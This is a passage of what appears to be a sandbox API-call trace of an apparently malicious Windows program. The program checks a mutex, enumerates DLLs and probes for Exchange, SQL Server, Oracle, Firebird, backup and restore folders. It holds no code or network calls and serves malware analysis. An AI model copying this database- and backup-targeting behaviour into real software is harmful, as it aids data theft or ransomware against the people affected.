returned 0 [0049.425] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.425] GlobalUnlock (hMem=0x440004) returned 0 [0049.425] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.425] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0049.425] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.425] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.425] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.425] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.425] GlobalUnlock (hMem=0x440004) returned 0 [0049.425] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.425] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.425] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.425] GlobalUnlock (hMem=0x440004) returned 0 [0049.425] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.425] GlobalUnlock (hMem=0x44000c) returned 0 [0049.425] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.425] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0049.425] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.425] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.425] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.425] GlobalUnlock (hMem=0x44000c) returned 0 [0049.425] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.425] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.425] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.425] GlobalUnlock (hMem=0x44000c) returned 0 [0049.425] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.425] GlobalUnlock (hMem=0x440004) returned 0 [0049.425] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.426] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0049.426] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.426] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.426] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.426] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.426] GlobalUnlock (hMem=0x440004) returned 0 [0049.426] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.426] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.426] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.426] GlobalUnlock (hMem=0x440004) returned 0 [0049.426] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.426] GlobalUnlock (hMem=0x44000c) returned 0 [0049.426] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.426] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0049.426] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.426] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.426] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.426] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.426] GlobalUnlock (hMem=0x44000c) returned 0 [0049.426] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.426] GlobalLock (hMem=0x440004) returned 0x557b88 [0049.426] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.426] GlobalUnlock (hMem=0x44000c) returned 0 [0049.426] GlobalHandle (pMem=0x557b88) returned 0x440004 [0049.426] GlobalUnlock (hMem=0x440004) returned 0 [0049.426] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.426] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0049.426] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.426] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.426] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.426] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.426] GlobalUnlock (hMem=0x440004) returned 0 [0049.427] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.427] GlobalLock (hMem=0x44000c) returned 0x557b88 [0049.427] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.427] GlobalUnlock (hMem=0x440004) returned 0 [0049.427] GlobalHandle (pMem=0x557b88) returned 0x44000c [0049.427] GlobalUnlock (hMem=0x44000c) returned 0 [0049.427] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.427] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0049.427] GetLastError () returned 0x12 [0049.427] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0049.427] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0049.427] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0049.427] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.427] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.427] GlobalUnlock (hMem=0x44000c) returned 0 [0049.427] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.427] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.427] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.427] GlobalUnlock (hMem=0x44000c) returned 0 [0049.427] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.427] GlobalUnlock (hMem=0x440004) returned 0 [0049.427] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.427] GlobalLock (hMem=0x440004) returned 0x550170 [0049.427] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.427] GlobalUnlock (hMem=0x440004) returned 0 [0049.427] GlobalLock (hMem=0x440004) returned 0x550170 [0049.427] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.428] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.428] GlobalUnlock (hMem=0x440004) returned 0 [0049.428] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.428] GlobalUnlock (hMem=0x44000c) returned 0 [0049.428] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.428] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform", len=0x4f | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform") returned 1 [0049.428] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.428] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.428] GlobalUnlock (hMem=0x44000c) returned 0 [0049.428] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.428] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.428] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.428] GlobalUnlock (hMem=0x44000c) returned 0 [0049.428] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.428] GlobalUnlock (hMem=0x440004) returned 0 [0049.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@堨U埼U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0049.429] GetLastError () returned 0x3 [0049.429] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@坜U企@\x18㿬Q\x181")) returned 0xffffffff [0049.430] GetLastError () returned 0x2 [0049.430] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@ꠜR企@\x18?T\x18;")) returned 0xffffffff [0049.431] GetLastError () returned 0x2 [0049.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0049.432] GetLastError () returned 0x2 [0049.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@坜U企@\x18ꠜR\x18j")) returned 0xffffffff [0049.434] GetLastError () returned 0x2 [0049.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0049.435] GetLastError () returned 0x2 [0049.435] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@↜U企@\x18?T\x18y")) returned 0xffffffff [0049.436] GetLastError () returned 0x2 [0049.437] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@坜U企@\x18?T\x18\x81")) returned 0xffffffff [0049.438] GetLastError () returned 0x2 [0049.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0049.439] GetLastError () returned 0x2 [0049.439] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@↜U企@\x18?T\x18\x8f")) returned 0xffffffff [0049.441] GetLastError () returned 0x2 [0049.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69c70, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="∜R䱠@坜U企@\x18?T\x18\x97")) returned 0xffffffff [0049.442] GetLastError () returned 0x2 [0049.442] GlobalLock (hMem=0x440004) returned 0x550170 [0049.442] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.442] GlobalUnlock (hMem=0x440004) returned 0 [0049.442] GlobalLock (hMem=0x440004) returned 0x550170 [0049.442] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.442] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.442] GlobalUnlock (hMem=0x440004) returned 0 [0049.442] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.442] GlobalUnlock (hMem=0x44000c) returned 0 [0049.442] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0049.443] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0049.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0049.443] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0049.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0049.443] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0049.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69cf0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0049.443] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.443] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.443] GlobalUnlock (hMem=0x44000c) returned 0 [0049.443] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.443] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.443] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.443] GlobalUnlock (hMem=0x44000c) returned 0 [0049.443] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.443] GlobalUnlock (hMem=0x440004) returned 0 [0049.443] GlobalLock (hMem=0x440004) returned 0x550170 [0049.443] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.443] GlobalUnlock (hMem=0x440004) returned 0 [0049.443] GlobalLock (hMem=0x440004) returned 0x550170 [0049.443] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.443] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.443] GlobalUnlock (hMem=0x440004) returned 0 [0049.443] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.443] GlobalUnlock (hMem=0x44000c) returned 0 [0049.443] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0049.444] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.444] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0049.444] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0049.444] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.444] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.444] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.444] GlobalUnlock (hMem=0x44000c) returned 0 [0049.444] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.444] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.444] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.444] GlobalUnlock (hMem=0x44000c) returned 0 [0049.444] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.444] GlobalUnlock (hMem=0x440004) returned 0 [0049.444] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.445] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.445] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.445] GlobalLock (hMem=0x440004) returned 0x550170 [0049.445] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.445] GlobalUnlock (hMem=0x440004) returned 0 [0049.445] GlobalLock (hMem=0x440004) returned 0x550170 [0049.445] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.445] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.445] GlobalUnlock (hMem=0x440004) returned 0 [0049.445] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.445] GlobalUnlock (hMem=0x44000c) returned 0 [0049.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.445] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.445] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.445] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.445] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.445] GlobalUnlock (hMem=0x44000c) returned 0 [0049.445] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.445] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.445] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.445] GlobalUnlock (hMem=0x44000c) returned 0 [0049.445] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.445] GlobalUnlock (hMem=0x440004) 